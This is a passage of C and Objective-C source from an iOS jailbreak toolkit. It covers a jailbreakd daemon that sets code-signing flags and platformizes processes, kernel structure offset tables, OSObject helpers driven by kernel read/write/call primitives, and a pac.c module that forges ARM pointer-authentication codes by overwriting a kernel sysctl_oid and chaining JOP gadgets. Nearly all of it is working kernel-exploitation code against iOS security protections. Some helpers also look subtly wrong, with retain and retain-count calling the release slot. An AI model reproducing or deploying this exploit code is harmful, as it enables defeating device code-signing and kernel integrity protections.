204 | continue;
205 | }
206 | struct JAILBREAKD_ENTITLE_PLATFORMIZE_PID *entitlePlatformizePacket = (struct JAILBREAKD_ENTITLE_PLATFORMIZE_PID *)buf;
207 | NSLog(@"Entitle PID %d", entitlePlatformizePacket->EntitlePID);
208 | setcsflagsandplatformize(entitlePlatformizePacket->EntitlePID);
209 | NSLog(@"Platformize PID %d", entitlePlatformizePacket->PlatformizePID);
210 | setcsflagsandplatformize(entitlePlatformizePacket->PlatformizePID);
211 | }
212 |
213 | else if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_AFTER_DELAY){
214 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT)){
215 | NSLog(@"Error: ENTITLE_SIGCONT packet is too small");
216 | continue;
217 | }
218 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *entitleSIGCONTPacket = (struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *)buf;
219 | NSLog(@"Entitle+SIGCONT PID %d", entitleSIGCONTPacket->Pid);
220 | __block int PID = entitleSIGCONTPacket->Pid;
221 | dispatch_queue_t queue = dispatch_queue_create("org.coolstar.jailbreakd.delayqueue", NULL);
222 | dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.5 * NSEC_PER_SEC), queue, ^{
223 | setcsflagsandplatformize(PID);
224 | kill(PID, SIGCONT);
225 | });
226 | dispatch_release(queue);
227 | }
228 |
229 | else if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY){
230 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT)){
231 | NSLog(@"Error: ENTITLE_SIGCONT packet is too small");
232 | continue;
233 | }
234 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *entitleSIGCONTPacket = (struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *)buf;
235 | NSLog(@"Entitle+SIGCONT PID %d", entitleSIGCONTPacket->Pid);
236 | __block int PID = entitleSIGCONTPacket->Pid;
237 |
238 | dispatch_queue_t queue = dispatch_queue_create("org.coolstar.jailbreakd.delayqueue", NULL);
239 | dispatch_async(queue, ^{
240 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
241 | bzero(pathbuf, sizeof(pathbuf));
242 |
243 | NSLog(@"%@", @"Waiting to ensure it's not xpcproxy anymore...");
244 | int ret = proc_pidpath(PID, pathbuf, sizeof(pathbuf));
245 | while (ret > 0 && strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0){
246 | proc_pidpath(PID, pathbuf, sizeof(pathbuf));
247 | usleep(100);
248 | }
249 |
250 | NSLog(@"%@",@"Continuing!");
251 | setcsflagsandplatformize(PID);
252 | kill(PID, SIGCONT);
253 | });
254 | dispatch_release(queue);
255 | }
256 |
257 | else if (command == JAILBREAKD_COMMAND_FIXUP_SETUID){
258 | if (size < sizeof(struct JAILBREAKD_FIXUP_SETUID)){
259 | NSLog(@"Error: ENTITLE packet is too small");
260 | continue;
261 | }
262 | struct JAILBREAKD_FIXUP_SETUID *setuidPacket = (struct JAILBREAKD_FIXUP_SETUID *)buf;
263 | NSLog(@"Fixup setuid PID %d", setuidPacket->Pid);
264 | fixupsetuid(setuidPacket->Pid);
265 | }
266 |
267 | else if (command == JAILBREAKD_COMMAND_FIXUP_DYLIB) {
268 | if (size < sizeof(struct JAILBREAKD_FIXUP_DYLIB)){
269 | NSLog(@"Error: ENTITLE packet is too small");
270 | continue;
271 | }
272 | struct JAILBREAKD_FIXUP_DYLIB *dylibPacket = (struct JAILBREAKD_FIXUP_DYLIB *)buf;
273 |
274 | NSLog(@"Request to fixup dylib: %s", dylibPacket->dylib);
275 | fixupdylib(dylibPacket->dylib);
276 | }
277 |
278 | else if (command == JAILBREAKD_COMMAND_FIXUP_EXECUTABLE) {
279 | if (size < sizeof(struct JAILBREAKD_FIXUP_EXECUTABLE)){
280 | NSLog(@"Error: ENTITLE packet is too small");
281 | continue;
282 | }
283 | struct JAILBREAKD_FIXUP_EXECUTABLE *execPacket = (struct JAILBREAKD_FIXUP_EXECUTABLE *)buf;
284 |
285 | NSLog(@"Request to fixup executable: %s", execPacket->exec);
286 | fixupexec(execPacket->exec);
287 | }
288 |
289 | else if (command == JAILBREAKD_COMMAND_EXIT){
290 | NSLog(@"Got Exit Command! Goodbye!");
291 | // term_kexecute();
292 | kernel_call_deinit();
293 | exit(0);
294 | }
295 | }
296 |
297 | /* Exit and clean up the child process. */
298 | _exit(0);
299 | return 0;
300 | }
301 |
302 | int main(int argc, char **argv, char **envp)
303 | {
304 | int ret = runserver();
305 | exit(ret);
306 | }
307 |
308 |
--------------------------------------------------------------------------------
/offsetof.c:
--------------------------------------------------------------------------------
1 |
2 | unsigned offsetof_p_pid = 0x60; // proc_t::p_pid
3 | unsigned offsetof_task = 0x10; // proc_t::task
4 | unsigned offsetof_p_uid = 0x28; // proc_t::p_uid
5 | unsigned offsetof_p_gid = 0x2c; // proc_t::p_uid
6 | unsigned offsetof_p_ruid = 0x30; // proc_t::p_uid
7 | unsigned offsetof_p_rgid = 0x34; // proc_t::p_uid
8 | unsigned offsetof_p_ucred = 0xf8; // proc_t::p_ucred
9 | unsigned offsetof_p_csflags = 0x290; // proc_t::p_csflags
10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port)
11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port)
12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port)
13 | unsigned offsetof_itk_space = 0x300; // task_t::itk_space
14 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send)
15 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send)
16 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject
17 | unsigned offsetof_p_textvp = 0x230; // proc_t::p_textvp
18 | unsigned offsetof_p_textoff = 0x238; // proc_t::p_textoff
19 | unsigned offsetof_p_cputype = 0x2a8; // proc_t::p_cputype
20 | unsigned offsetof_p_cpu_subtype = 0x2ac; // proc_t::p_cpu_subtype
21 | unsigned offsetof_special = 2 * sizeof(long); // host::special
22 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?..
23 |
24 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid
25 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid
26 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid
27 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups
28 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups
29 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid
30 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid
31 |
32 | unsigned offsetof_v_type = 0x70; // vnode::v_type
33 | unsigned offsetof_v_id = 0x74; // vnode::v_id
34 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo
35 | unsigned offsetof_v_flags = 0x54; // vnode::v_flags
36 |
37 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs
38 |
39 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype
40 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags
41 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset
42 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements
43 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type
44 | unsigned offsetof_csb_platform_binary = 0xA8; // cs_blob::csb_platform_binary
45 | unsigned offsetof_csb_platform_path = 0xAc; // cs_blob::csb_platform_path
46 |
47 | unsigned offsetof_t_flags = 0x390; // task::t_flags
48 |
--------------------------------------------------------------------------------
/offsetof.h:
--------------------------------------------------------------------------------
1 | extern unsigned offsetof_p_pid;
2 | extern unsigned offsetof_task;
3 | extern unsigned offsetof_p_uid;
4 | extern unsigned offsetof_p_gid;
5 | extern unsigned offsetof_p_ruid;
6 | extern unsigned offsetof_p_rgid;
7 | extern unsigned offsetof_p_ucred;
8 | extern unsigned offsetof_p_csflags;
9 | extern unsigned offsetof_itk_self;
10 | extern unsigned offsetof_itk_sself;
11 | extern unsigned offsetof_itk_bootstrap;
12 | extern unsigned offsetof_itk_space;
13 | extern unsigned offsetof_ip_mscount;
14 | extern unsigned offsetof_ip_srights;
15 | extern unsigned offsetof_ip_kobject;
16 | extern unsigned offsetof_p_textvp;
17 | extern unsigned offsetof_p_textoff;
18 | extern unsigned offsetof_p_cputype;
19 | extern unsigned offsetof_p_cpu_subtype;
20 | extern unsigned offsetof_special;
21 | extern unsigned offsetof_ipc_space_is_table;
22 |
23 | extern unsigned offsetof_ucred_cr_uid;
24 | extern unsigned offsetof_ucred_cr_ruid;
25 | extern unsigned offsetof_ucred_cr_gid;
26 | extern unsigned offsetof_ucred_cr_rgid;
27 | extern unsigned offsetof_ucred_cr_svgid;
28 | extern unsigned offsetof_ucred_cr_groups;
29 | extern unsigned offsetof_ucred_cr_ngroups;
30 | extern unsigned offsetof_ucred_cr_svuid;
31 |
32 | extern unsigned offsetof_v_type;
33 | extern unsigned offsetof_v_id;
34 | extern unsigned offsetof_v_ubcinfo;
35 | extern unsigned offsetof_v_flags;
36 |
37 | extern unsigned offsetof_ubcinfo_csblobs;
38 |
39 | extern unsigned offsetof_csb_cputype;
40 | extern unsigned offsetof_csb_flags;
41 | extern unsigned offsetof_csb_base_offset;
42 | extern unsigned offsetof_csb_entitlements_offset;
43 | extern unsigned offsetof_csb_signer_type;
44 | extern unsigned offsetof_csb_platform_binary;
45 | extern unsigned offsetof_csb_platform_path;
46 |
47 | extern unsigned offsetof_t_flags;
48 |
49 |
50 | #define CS_VALID 0x0000001 /* dynamically valid */
51 | #define CS_ADHOC 0x0000002 /* ad hoc signed */
52 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
53 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
54 |
55 | #define CS_HARD 0x0000100 /* don't load invalid pages */
56 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */
57 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */
58 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
59 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */
60 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */
61 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000
62 |
63 | #define CS_ALLOWED_MACHO 0x00ffffe
64 |
65 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */
66 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */
67 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */
68 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */
69 |
70 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */
71 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */
72 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
73 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */
74 |
75 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
76 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
77 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
78 |
--------------------------------------------------------------------------------
/offsets.c:
--------------------------------------------------------------------------------
1 | #include "offsets.h"
2 | #include
3 | #include
4 | #include
5 |
6 | int getOffsetsFromFile(char *file, struct offsets *off) {
7 | FILE *f = fopen(file, "rb");
8 | if (!f) return -1;
9 | fread(off, sizeof(struct offsets), 1, f);
10 | fclose(f);
11 | return !(off->allproc);
12 | }
13 |
--------------------------------------------------------------------------------
/offsets.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | struct offsets {
4 | uint64_t allproc;
5 | uint64_t OSBooleanTrue;
6 | uint64_t OSBooleanFalse;
7 | uint64_t gadget;
8 | uint64_t zone_map_ref;
9 | uint64_t OSUnserializeXML;
10 | uint64_t smalloc;
11 | uint64_t vnode_lookup;
12 | uint64_t vfs_context;
13 | uint64_t vnode_put;
14 | uint64_t kernel_base;
15 | };
16 |
17 | int getOffsetsFromFile(char *file, struct offsets *off);
18 |
--------------------------------------------------------------------------------
/osobject.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "kexecute.h"
3 | #include "kernel_call.h"
4 | #include "kmem.h"
5 | #include "patchfinder64.h"
6 | #include "osobject.h"
7 |
8 | // offsets in vtable:
9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;
10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;
11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23;
12 |
13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E;
14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20;
15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22;
16 |
17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05;
18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03;
19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04;
20 |
21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11;
22 |
23 | // 1 on success, 0 on error
24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
25 | size_t len = strlen(key) + 1;
26 |
27 | uint64_t ks = kalloc(len);
28 | kwrite(ks, key, len);
29 |
30 | uint64_t vtab = rk64(dict);
31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);
32 |
33 | int rv = (int) kernel_call_7(f, 3, dict, ks, val);
34 |
35 | kfree(ks, len);
36 |
37 | return rv;
38 | }
39 |
40 | // XXX it can return 0 in lower 32 bits but still be valid
41 | // fix addr of returned value and check if rk64 gives ptr
42 | // to vtable addr saved before
43 |
44 | // address if exists, 0 if not
45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
46 | size_t len = strlen(key) + 1;
47 |
48 | uint64_t ks = kalloc(len);
49 | kwrite(ks, key, len);
50 |
51 | uint64_t vtab = rk64(dict);
52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);
53 |
54 | int rv = (int) kernel_call_7(f, 2, dict, ks);
55 |
56 | kfree(ks, len);
57 |
58 | return rv;
59 | }
60 |
61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
62 | uint64_t ret = _OSDictionary_GetItem(dict, key);
63 |
64 | if (ret != 0) {
65 | // XXX can it be not in zalloc?..
66 | ret = zm_fix_addr(ret);
67 | }
68 |
69 | return ret;
70 | }
71 |
72 | // 1 on success, 0 on error
73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
74 | uint64_t vtab = rk64(dict);
75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge);
76 |
77 | return (int) kernel_call_7(f, 2, dict, aDict);
78 | }
79 |
80 | // 1 on success, 0 on error
81 | int OSArray_Merge(uint64_t array, uint64_t aArray) {
82 | uint64_t vtab = rk64(array);
83 | uint64_t f = rk64(vtab + off_OSArray_Merge);
84 |
85 | return (int) kernel_call_7(f, 2, array, aArray);
86 | }
87 |
88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
89 | uint64_t vtab = rk64(array);
90 | uint64_t f = rk64(vtab + off_OSArray_GetObject);
91 |
92 | return kernel_call_7(f, 2, array, idx);
93 | }
94 |
95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
96 | uint64_t ret = _OSArray_GetObject(array, idx);
97 |
98 | if (ret != 0){
99 | // XXX can it be not in zalloc?..
100 | ret = zm_fix_addr(ret);
101 | }
102 | return ret;
103 | }
104 |
105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
106 | uint64_t vtab = rk64(array);
107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject);
108 |
109 | (void)kernel_call_7(f, 2, array, idx, 0, 0, 0, 0, 0);
110 | }
111 |
112 | // XXX error handling just for fun? :)
113 | uint64_t _OSUnserializeXML(const char* buffer) {
114 | size_t len = strlen(buffer) + 1;
115 |
116 | uint64_t ks = kalloc(len);
117 | kwrite(ks, buffer, len);
118 |
119 | uint64_t errorptr = 0;
120 |
121 | uint64_t rv = kernel_call_7(find_osunserializexml(), 2, ks, errorptr);
122 | kfree(ks, len);
123 |
124 | return rv;
125 | }
126 |
127 | uint64_t OSUnserializeXML(const char* buffer) {
128 | uint64_t ret = _OSUnserializeXML(buffer);
129 |
130 | if (ret != 0) {
131 | // XXX can it be not in zalloc?..
132 | ret = zm_fix_addr(ret);
133 | }
134 |
135 | return ret;
136 | }
137 |
138 | void OSObject_Release(uint64_t osobject) {
139 | uint64_t vtab = rk64(osobject);
140 | uint64_t f = rk64(vtab + off_OSObject_Release);
141 | (void) kernel_call_7(f, 1, osobject);
142 | }
143 |
144 | void OSObject_Retain(uint64_t osobject) {
145 | uint64_t vtab = rk64(osobject);
146 | uint64_t f = rk64(vtab + off_OSObject_Release);
147 | (void) kernel_call_7(f, 1, osobject);
148 | }
149 |
150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
151 | uint64_t vtab = rk64(osobject);
152 | uint64_t f = rk64(vtab + off_OSObject_Release);
153 | return (uint32_t) kernel_call_7(f, 1, osobject);
154 | }
155 |
156 | unsigned int OSString_GetLength(uint64_t osstring){
157 | uint64_t vtab = rk64(osstring);
158 | uint64_t f = rk64(vtab + off_OSString_GetLength);
159 | return (unsigned int)kernel_call_7(f, 1, osstring);
160 | }
161 |
162 | char *OSString_CopyString(uint64_t osstring){
163 | unsigned int length = OSString_GetLength(osstring);
164 | char *str = malloc(length + 1);
165 | str[length] = 0;
166 |
167 | kread(OSString_CStringPtr(osstring), str, length);
168 | return str;
169 | }
170 |
--------------------------------------------------------------------------------
/osobject.h:
--------------------------------------------------------------------------------
1 | #define OSDictionary_ItemCount(dict) rk32(dict+20)
2 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32)
3 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx)
4 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8)
5 | #define OSString_CStringPtr(str) rk64(str + 0x10)
6 | #define OSArray_ItemCount(arr) rk32(arr+0x14)
7 | #define OSArray_ItemBuffer(arr) rk64(arr+32)
8 |
9 | // see osobject.c for info
10 |
11 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);
12 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key);
13 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict);
14 | void OSArray_RemoveObject(uint64_t array, unsigned int idx);
15 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx);
16 | int OSArray_Merge(uint64_t array, uint64_t aArray);
17 | uint64_t OSUnserializeXML(const char* buffer);
18 |
19 | void OSObject_Release(uint64_t osobject);
20 | void OSObject_Retain(uint64_t osobject);
21 | uint32_t OSObject_GetRetainCount(uint64_t osobject);
22 |
23 | unsigned int OSString_GetLength(uint64_t osstring);
24 | char *OSString_CopyString(uint64_t osstring);
25 |
--------------------------------------------------------------------------------
/pac.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/pac.c
3 | * Brandon Azad
4 | */
5 | #include "pac.h"
6 |
7 | #include "kernel_call.h"
8 | #include "kc_parameters.h"
9 | #include "user_client.h"
10 | #include "kernel_memory.h"
11 | #include "log.h"
12 | #include "mach_vm.h"
13 | #include "parameters.h"
14 |
15 |
16 | #if __arm64e__
17 |
18 | // ---- Global variables --------------------------------------------------------------------------
19 |
20 | // The address of our kernel buffer.
21 | static uint64_t kernel_pacxa_buffer;
22 |
23 | // The forged value PACIZA('mov x0, x4 ; br x5').
24 | static uint64_t paciza__mov_x0_x4__br_x5;
25 |
26 | // ---- Stage 2 -----------------------------------------------------------------------------------
27 |
28 | /*
29 | * stage1_kernel_call_7
30 | *
31 | * Description:
32 | * Call a kernel function using our stage 1 execute primitive with explicit registers.
33 | *
34 | * See stage1_kernel_call_7v.
35 | */
36 | static uint32_t
37 | stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
38 | uint64_t x4, uint64_t x5, uint64_t x6) {
39 | uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
40 | return stage1_kernel_call_7v(function, 7, arguments);
41 | }
42 |
43 | /*
44 | * stage1_init_kernel_pacxa_forging
45 | *
46 | * Description:
47 | * Initialize our stage 1 capability to forge PACIA and PACDA pointers.
48 | */
49 | static void
50 | stage1_init_kernel_pacxa_forging() {
51 | // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
52 | // Because these values already contain the PACIZA code, we can call them with the stage 0
53 | // call primitive to start/stop the module.
54 | uint64_t paciza__l2tp_domain_module_start = kernel_read64(
55 | ADDRESS(paciza_pointer__l2tp_domain_module_start));
56 | uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
57 | ADDRESS(paciza_pointer__l2tp_domain_module_stop));
58 |
59 | // Read out the original value of sysctl__net_ppp_l2tp__data.
60 | uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
61 | kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
62 |
63 | // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
64 | // sysctl_unregister_oid() will execute the following instruction sequence:
65 | //
66 | // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler
67 | // CBNZ X19, loc_FFFFFFF007EBD330
68 | // CBZ X10, loc_FFFFFFF007EBD330
69 | // MOV X19, #0
70 | // MOV X11, X9 ; X11 = &old_oidp->oid_handler
71 | // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler
72 | // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler)
73 | // PACIZA X10 ; X10 = PACIZA(X10)
74 | // STR X10, [X9] ; old_oidp->oid_handler = X10
75 | //
76 | uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
77 | memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
78 | FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
79 | FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
80 | FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000;
81 | FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
82 | FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
83 | FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0;
84 |
85 | // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
86 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));
87 |
88 | // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
89 | // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
90 | __unused uint32_t ret;
91 | ret = stage1_kernel_call_7(
92 | paciza__l2tp_domain_module_stop, // PC
93 | 0, 0, 0, 0, 0, 0); // X1 - X6
94 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
95 | "l2tp_domain_module_stop", ret,
96 | kernel_read32(ADDRESS(l2tp_domain_inited)));
97 |
98 | // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
99 | // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
100 | // this value to reconstruct the correct PACIZA'd pointer.
101 | uint64_t handler = kernel_read64(
102 | ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
103 | paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
104 | DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);
105 |
106 | // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
107 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
108 | ret = stage1_kernel_call_7(
109 | paciza__mov_x0_x4__br_x5, // PC
110 | 0, 0, 0, // X1 - X3
111 | ADDRESS(sysctl__net_ppp_l2tp), // X4
112 | ADDRESS(sysctl_unregister_oid), // X5
113 | 0); // X6
114 | DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
115 | ADDRESS(sysctl__net_ppp_l2tp), ret);
116 |
117 | // And finally call l2tp_domain_module_start() to re-initialize the module.
118 | ret = stage1_kernel_call_7(
119 | paciza__l2tp_domain_module_start, // PC
120 | 0, 0, 0, 0, 0, 0); // X1 - X6
121 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
122 | "l2tp_domain_module_start", ret,
123 | kernel_read32(ADDRESS(l2tp_domain_inited)));
124 |
125 | // Alright, so now we have an arbitrary call gadget!
126 | kernel_pacxa_buffer = stage1_get_kernel_buffer();
127 | }
128 |
129 | // ---- Stage 2 -----------------------------------------------------------------------------------
130 |
131 | /*
132 | * stage2_kernel_forge_pacxa
133 | *
134 | * Description:
135 | * Forge a PACIA or PACDA pointer using the kernel forging gadgets.
136 | */
137 | static uint64_t
138 | stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
139 | const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer);
140 | const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
141 | // Initialize the kernel_pacxa_buffer to be all zeros.
142 | uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
143 | memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
144 | kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
145 | // The buffer address we pass to the gadget is offset from the part of that we initialize
146 | // (to save us some space). The result is stored at different offsets in the buffer
147 | // depending on whether the operation is PACIA or PACDA.
148 | uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
149 | uint64_t result_address = buffer_address;
150 | uint64_t pacxa_gadget;
151 | if (instruction) {
152 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
153 | pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
154 | } else {
155 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
156 | pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
157 | }
158 | // We need to set:
159 | //
160 | // x2 = buffer_address
161 | // x9 = address
162 | // x10 = context
163 | //
164 | // In order to do that we'll execute the following JOP sequence before jumping to the
165 | // gadget:
166 | //
167 | // mov x0, x4 ; br x5
168 | // mov x9, x0 ; br x1
169 | // mov x10, x3 ; br x6
170 | //
171 | __unused uint32_t ret;
172 | ret = stage1_kernel_call_7(
173 | paciza__mov_x0_x4__br_x5, // PC
174 | ADDRESS(mov_x10_x3__br_x6), // X1
175 | buffer_address, // X2
176 | context, // X3
177 | address, // X4
178 | ADDRESS(mov_x9_x0__br_x1), // X5
179 | pacxa_gadget); // X6
180 | DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
181 | // Now recover the PACXA'd value.
182 | uint64_t pacxa = kernel_read64(result_address);
183 | return pacxa;
184 | }
185 |
186 | /*
187 | * xpaci
188 | *
189 | * Description:
190 | * Strip a PACIx code from a pointer.
191 | */
192 | static uint64_t
193 | xpaci(uint64_t pointer) {
194 | asm("xpaci %[value]\n" : [value] "+r"(pointer));
195 | return pointer;
196 | }
197 |
198 | /*
199 | * xpacd
200 | *
201 | * Description:
202 | * Strip a PACDx code from a pointer.
203 | */
204 | static uint64_t
205 | xpacd(uint64_t pointer) {
206 | asm("xpacd %[value]\n" : [value] "+r"(pointer));
207 | return pointer;
208 | }
209 |
210 | #endif // __arm64e__
211 |
212 | // ---- API ---------------------------------------------------------------------------------------
213 |
214 | bool
215 | stage2_kernel_call_init() {
216 | #if __arm64e__
217 | stage1_init_kernel_pacxa_forging();
218 | #endif
219 | return true;
220 | }
221 |
222 | void
223 | stage2_kernel_call_deinit() {
224 | }
225 |
226 | uint32_t
227 | stage2_kernel_call_7v(uint64_t function,
228 | size_t argument_count, const uint64_t arguments[]) {
229 | uint64_t paciza_function = kernel_forge_pacia(function, 0);
230 | return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
231 | }
232 |
233 | uint64_t
234 | kernel_forge_pacia(uint64_t pointer, uint64_t context) {
235 | #if __arm64e__
236 | return stage2_kernel_forge_pacxa(pointer, context, true);
237 | #else
238 | return pointer;
239 | #endif
240 | }
241 |
242 | uint64_t
243 | kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
244 | uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
245 | return kernel_forge_pacia(pointer, context);
246 | }
247 |
248 | uint64_t
249 | kernel_forge_pacda(uint64_t pointer, uint64_t context) {
250 | #if __arm64e__
